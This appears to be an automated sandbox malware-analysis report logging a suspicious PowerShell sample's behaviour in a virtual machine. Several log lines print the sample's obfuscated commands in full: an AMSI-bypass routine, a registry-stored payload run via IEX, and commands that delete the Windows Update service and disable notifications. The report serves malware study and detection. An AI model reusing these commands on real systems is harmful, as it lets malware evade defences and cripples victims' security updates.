Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	API/Special instruction interceptor: Address: 7FFF4F2CD744
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	API/Special instruction interceptor: Address: 7FFF4F2CD3C4

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1258	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8661	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3078	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6692	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2811	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7067	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ALSysIO64.sys

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6820	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6588	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1728	Thread sleep count: 2811 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5464	Thread sleep count: 7067 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2180	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000E.00000002.2405814764.000001E8F1273000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STEMROO(@\\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}6
Source: svchost.exe, 0000000E.00000002.2401404098.000001E8F122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 0000000E.00000002.2405814764.000001E8F1273000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ystemRo(@\??\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SY
Source: svchost.exe, 0000000E.00000002.2405814764.000001E8F1281000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.1900186888.000000000340D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: svchost.exe, 00000003.00000002.2406000208.00000212C922B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.2413924047.00000212CE860000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.00000000091A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000E.00000002.2397886018.000001E8F1202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: powershell.exe, 00000004.00000002.2042932378.00000000090B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
Source: svchost.exe, 0000000E.00000002.2404634071.000001E8F1264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000e1}
Source: svchost.exe, 0000000E.00000002.2407200935.000001E8F1302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000E.00000002.2405814764.000001E8F1273000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .0\Modu(@\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}re

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: SUS.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_3552.amsi.csv, type: OTHER

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C reg query HKCU\Software\Ucizah /v efxucieqo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query HKCU\Software\Ucizah /v efxucieqo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config wuauserv start= disabled	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -hibernate off

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\sysnative\cmd.exe" /c "echo $($tiebicislihiakywle=$([ref].assembly.gettype('viqeempiapqylyunela'));$hatuwucehuubumag=[ref].assembly.gettype($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.getfield($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^\|%{[char]($_/2)})-join'').setvalue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($oktoundiveemzaynfo) \| %windir%\syswow64\windowspowershell\v1.0\powershell.exe -window hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $($tiebicislihiakywle=$([ref].assembly.gettype('viqeempiapqylyunela'));$hatuwucehuubumag=[ref].assembly.gettype($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.getfield($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').setvalue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $($tiebicislihiakywle=$([ref].assembly.gettype('viqeempiapqylyunela'));$hatuwucehuubumag=[ref].assembly.gettype($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.getfield($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').setvalue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
